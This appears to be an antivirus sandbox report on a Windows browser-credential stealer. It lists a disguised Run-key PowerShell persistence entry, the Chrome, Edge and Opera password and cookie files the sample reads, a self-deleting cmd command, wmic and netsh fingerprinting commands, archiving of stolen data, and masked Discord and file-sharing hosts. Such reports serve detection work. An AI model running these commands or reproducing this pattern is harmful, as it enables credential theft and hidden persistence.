Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsDefenderService' = 'powershell -w h -nop -ep bypass -c "$k=0xC7;$s='Software\Microsoft\Windows NT\CurrentVersion\Restore';$b=[Micros...
Malicious functions
Injects code into
the following system processes:
- <SYSTEM32>\svchost.exe
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\svchost.exe
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %APPDATA%\opera software\opera stable\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
Modifies file system
Creates the following files
- %APPDATA%\.nxid
- nul
- %TEMP%\logindata_3204.db
- %TEMP%\autofill_3204.db
- %TEMP%\webdata_3204.db
- %TEMP%\cookies_3204.db
- %TEMP%\history_3204.db
- %TEMP%\browsers-temp\user\chrome\default\history.txt
- %TEMP%\gck_ck_3204.db
- %TEMP%\gck_ck_3204.db-shm
- %TEMP%\gck_hi_3204.db
- %TEMP%\gck_hi_3204.db-shm
- %TEMP%\browsers.zip
Deletes following files that it created itself
- %TEMP%\logindata_3204.db
- %TEMP%\autofill_3204.db
- %TEMP%\webdata_3204.db
- %TEMP%\cookies_3204.db
- %TEMP%\history_3204.db
- %TEMP%\gck_ck_3204.db-shm
- %TEMP%\gck_ck_3204.db
- %TEMP%\gck_hi_3204.db-shm
- %TEMP%\gck_hi_3204.db
Substitutes the following files
- %TEMP%\logindata_3204.db
- %TEMP%\autofill_3204.db
- %TEMP%\webdata_3204.db
- %TEMP%\history_3204.db
- %TEMP%\gck_ck_3204.db
- %TEMP%\gck_ck_3204.db-shm
- %TEMP%\gck_hi_3204.db
- %TEMP%\gck_hi_3204.db-shm
Deletes itself.
Network activity
Connects to
- 'ap#.#pify.org':443
- 'di##ord.com':443
- 'ap#.#ofile.io':443
- 'x1.#.lencr.org':80
- 'st######-par-7.gofile.io':443
TCP
HTTP GET requests
- http://x1.#.lencr.org/
Other
- 'ap#.#pify.org':443
- 'di##ord.com':443
- 'ap#.#ofile.io':443
UDP
- DNS ASK ap#.#pify.org
- DNS ASK di##ord.com
- DNS ASK ap#.#ofile.io
- DNS ASK x1.#.lencr.org
- DNS ASK st######-par-7.gofile.io
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c ping -n 3 127.0.0.1 >nul & del /f /q "<Full path to file>"
- '<SYSTEM32>\cmd.exe' /c wmic nic where "NetConnectionStatus=2" get MACAddress /value
- '<SYSTEM32>\ping.exe' -n 3 127.0.0.1
- '<SYSTEM32>\wbem\wmic.exe' nic where "NetConnectionStatus=2" get MACAddress /value
- '<SYSTEM32>\cmd.exe' /c wmic csproduct get UUID /value
- '<SYSTEM32>\wbem\wmic.exe' csproduct get UUID /value
- '<SYSTEM32>\cmd.exe' /c wmic path softwarelicensingservice get OA3xOriginalProductKey /value
- '<SYSTEM32>\wbem\wmic.exe' path softwarelicensingservice get OA3xOriginalProductKey /value
- '<SYSTEM32>\cmd.exe' /c wmic logicaldisk get DeviceID,FreeSpace,Size
- '<SYSTEM32>\wbem\wmic.exe' logicaldisk get DeviceID,FreeSpace,Size
- '<SYSTEM32>\cmd.exe' /c netsh wlan show profiles
- '<SYSTEM32>\netsh.exe' wlan show profiles
- '<SYSTEM32>\cmd.exe' /c powershell -NoProfile -WindowStyle Hidden -Command "Compress-Archive -Path '%TEMP%\browsers-temp\*' -DestinationPath '%TEMP%\browsers.zip' -Force"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -WindowStyle Hidden -Command "Compress-Archive -Path '%TEMP%\browsers-temp\*' -DestinationPath '%TEMP%\browsers.zip' -Force"
